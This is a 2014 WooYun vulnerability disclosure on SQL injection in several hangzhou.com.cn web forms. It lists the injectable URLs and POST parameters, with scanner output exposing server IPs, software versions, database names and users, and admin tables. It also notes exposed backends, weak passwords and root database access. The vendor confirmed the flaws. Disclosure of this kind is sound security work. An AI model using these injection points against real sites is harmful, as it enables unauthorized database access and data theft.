当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-048489
漏洞标题：
杭州网多处sql注入漏洞集合
相关厂商：
hangzhou.com.cn
漏洞作者：
雅柏菲卡
提交时间：
2014-01-10 15:50
修复时间：
2014-02-24 15:51
公开时间：
2014-02-24 15:51
漏洞类型：
SQL注射漏洞
危害等级：
中
自评Rank：
8
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-01-10： 细节已通知厂商并且等待厂商处理中
2014-01-15： 厂商已经确认，细节仅向厂商公开
2014-01-25： 细节向核心白帽子及相关领域专家公开
2014-02-04： 细节向普通白帽子公开
2014-02-14： 细节向实习白帽子公开
2014-02-24： 细节向公众公开

简要描述：

................................................

详细说明：

......

漏洞证明：

post的 
url:http://form.hangzhou.com.cn/vote.php
data:q1664=2373&q1665%5B%5D=2377&q1665%5B%5D=2379&q1665%5B%5D=2380&vt_button=%E6%8F%90%20%E4%BA%A4&vt_btnsumbit=yes&voteid=422&q1665%5B%5D=2378
Target: 		http://form.hangzhou.com.cn/vote.php
Host IP:		122.224.215.10
Web Server: 	Apache/2.2.17 (Unix) PHP/5.2.4
Powered-by: 	PHP/5.2.4
DB Server: 	MySQL error based
Resp. Time(avg):	358 ms
Sql Version: 	5.1.52-community
Current DB: 	vt_form
Host Name: 	adv
Installation dir: 	/
Compile OS: 	unknown-linux-gnu
Table found: hl_admin
Table found: hl_categories
Table found: hl_vote
Table found: hl_admintype
Table found: hl_vote_list
Table found: hl_vote_name
Table found: hl_vote_value
Table found: hl_vote_option
url:http://web.hangzhou.com.cn/kanfang/message.php
data:nickname=88952634&act=add&content=88952634&link_id=995
Target: 		http://web.hangzhou.com.cn/kanfang/message.php
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL error based
Resp. Time(avg):	98 ms
Sql Version: 	5.5.24
Current DB: 	kanfang
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
Table found: kf_admin
Table found: kf_link
Table found: kf_link_type
Table found: kf_message
Table found: kf_photo
Target: 		http://web.hangzhou.com.cn/zsjs/2013jk/article.php?nid=110
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL >=5
Resp. Time(avg):	100 ms
Current User: 	2013jkzsjs@localhost
Sql Version: 	5.5.24
Current DB: 	2013jkzsjs
System User: 	2013jkzsjs@localhost
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
DB User: 	'2013jkzsjs'@'localhost'
Data Bases: 	information_schema
		2013jkzsjs
		test
ables found: hl_admin,hl_admintype,hl_categories,hl_jkzsds2_answer,hl_jkzsds2_diqu,hl_jkzsds2_news,hl_jkzsds2_question,hl_jkzsds2_survey,hl_question
http://love.hangzhou.com.cn/Club_hd_hg_Content.aspx?id=88
QQ截图20140110152506.jpg




url:http://yst.hangzhou.com.cn/message.php
data：nickname=88952634&act=add&content=88952634&question_id=131231132590 
可能是注射
各个系统都是对外的  
后台也是对外的
部分的为弱口令
部分数据库权限为root   
旅游频道可能有注射 重点排查吧

修复方案：

.............................

版权声明：转载请注明来源 雅柏菲卡@乌云

>

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-01-15 14:13

厂商回复：

由于开发的疏忽导致此次漏洞的产生，非常感谢您的提醒，希望您继续为我们查漏补缺，再次感谢！！

最新状态：

暂无